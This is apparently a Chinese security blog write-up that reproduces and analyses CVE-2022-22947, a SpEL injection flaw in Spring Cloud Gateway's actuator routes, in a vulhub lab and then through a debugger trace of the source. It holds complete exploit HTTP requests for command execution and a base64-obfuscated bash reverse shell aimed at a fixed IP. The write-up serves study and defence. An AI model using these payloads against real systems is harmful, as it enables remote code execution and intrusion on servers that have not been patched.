简介
Spring Cloud Gateway 是 Spring Cloud 的⼀个项⽬,VMware 官方于2022年3月1日发布的公告中修复了一个漏洞,编号为CVE-2022-22947,是由SpEL表达式造成的。
前言
SpEL表达式它能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。且SpEL表达式的简单角是为
#{....}
例子
#{2}
此时输出的结果为“2”,括号内的内容极为SpEL表达式,这里可参考这篇文章
影响版本
- 3.1.0
- 3.0.0-3.0.6
- 以及其他更老的版本
分析这个漏洞其实可以结合spring的部分其它漏洞,漏洞成因就是因为SpEL表达式中构造的恶意payload执行造成的,前一段时间分析了CVE-2018-1270,就利用来说SpEL的构造的payload差不了太多。
复现
下载vulhub,搭建环境,
git clone **https://github.com/vulhub/vulhub.git
root@ubuntu:/home/wrs/Desktop/vulhub# cd spring/
root@ubuntu:/home/wrs/Desktop/vulhub/spring# ls
CVE-2016-4977 CVE-2017-4971 CVE-2017-8046 CVE-2018-1270 CVE-2018-1273 CVE-2022-22947
root@ubuntu:/home/wrs/Desktop/vulhub/spring# cd CVE-2022-22947/
root@ubuntu:/home/wrs/Desktop/vulhub/spring/CVE-2022-22947# ls
1.png 2.png 3.png 4.png docker-compose.yml README.md README.zh-cn.md
root@ubuntu:/home/wrs/Desktop/vulhub/spring/CVE-2022-22947#
启动docker
docker-compose up -d
访问ip:端口
环境搭建ok
构造数据包添加一条恶意路由
```
POST /actuator/gateway/routes/Ggoodstudy HTTP/1.1
Host: xx.xxx.xx:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "Ggoodstudy",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://xxxx.com"
}
```
构造的恶意路由中有我们构造的SpEL表达式,返回包中的内容为201的时候说明恶意路由是构造成功的
然后刷新路由,构造payload
POST /actuator/gateway/refresh HTTP/1.1
Host: xx.xxx.xx.xx:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
刷新路由的目的是使添加的恶意路由生效,然后访问添加的路由即可触发SpEL表达式,paylaod如下
GET /actuator/gateway/routes/Ggoodstudy HTTP/1.1
Host: xx.xx.xx.xx:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
直接RCE
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
重新构造恶意路由,正常情况下exec函数不能直接解析管道符,所以这里需要对反弹shell的命令进行编码后在重新解码,重新构造发包,这个时候看到反弹回shell
这里需要注意的是反弹的时间有点漫长,多尝试几次,不知道是环境的原因还是什么,避坑!!!!
分析(正向分析)
因为下载源码分析,所以这里源码搭建在了windows环境,代码调试的效果可能明显。下载版本为
V3.0.2
源码地址
https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.2
因为该漏洞影响版本为3.0.0-3.0.6以及3.1.x,这个版本处于范围内,据说低版本的也影响,但是没有测试低于3.0的版本,有兴趣的可以了解一下。
meaven项目直接导入xml文件即可,如果不知道启动类为哪个,直接全局搜索启动类,**xxApplication全局检索一下
选择启动
这里测试类的环境并不影响换使用,在我们构造数据包创建恶意类的时候
利用恶意exp构造payload
在未下任何断点的情况下,id为goodstudy的路由是创建成功的,然后使用exp直接刷新,其实在这个条件下已经触发了exp,弹窗了
再刷新路由的过程中已经触发了calc.exe,在触发的过程中,通过id加载路由
然后触发RouteDefinitionRouteLocator类的176行
继续往下调试到RouteDefinitionRouteLocator类的117行
这个时候在我们构造的payload中在filters中
定义了参数值,从表面上看,是直接到AbstractGatewayControllerEndpoint类的90行进行了refresh后读取到了value值,触发了payload
断点调试(反向分析)
直接就根据payload来分析比较容易理解,利用的第一步是增加一个新的路由,那么直接搜索Route可查找增加路由的位置
*spring-cloud-gateway-server->src->main->java->org.springframework->cloud->gateway->route->Route.java*定义了增加的参数,也就是定义了在exp中构造的内容的参数。
tostring()函数以及私有route()函数作为实体类定义了数据类型,存在于model层中
在正常情况下,前端web界面控制层传入增加的路由之后,触发的位置为**spring-cloud-gateway-server->src->main->java->org.springframework->actuate该位置为控制层,处理前端页面提交的参数。
从源码中可以看出,对于server类中的定义的三个类为控制层的代码
当添加路由的时候回调用132行的方法validateRouteDefinition
全局搜索该方法,发现这个方法的定义就是判断post传入的参数值是否存在,存在为真不存在为假,所以这里的数据类型为布尔型。
那么到现在又有疑问了,SpEL表达式的解析又在哪里呢?
根据我们构造的首个包可以看出,构造的恶意payload存在于请求体的filters中,但是在进行数据传输之后,到控制层之后,请求体内的value字段内的SpEL表达式被解析
直接可以确定的是ShortcutConfigurable类调用了getValue方法,在getValue方法可以执行SpEL表达式,
通过向上查找,发现getvalues的调用是通过configurationService调用的,并且可以发现loadGatewayFilters方法中加载了configurationService
在loadGatewayFilters中加载了gatewayFilterFactories方法
gatewayFilterFactories方法时类RouteDefinitionRouteLocator根据filter的配置属性生成的
在RouteDefinitionRouteLocator类中回调用getRoutes()方法,调用getRoutes()回调用私有属性convertToRoute
而在私有属性convertToRoute中会调用函数getFilters
getFiters函数中传入的参数的来源就是payload中传入的filters的配置
向上查找
实体类中定义了我们想要的参数内容,到这里从正向还是反向分析漏洞的触发链很清晰。
小结
因为此次分析的源码版本为V3.0.2所以跟其它版本的漏洞分析还是有出入的,漏洞最终的触发点是一致的,但是函数的调用以及利用链还是有区别的,分析问题正向反向分析才有收获。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论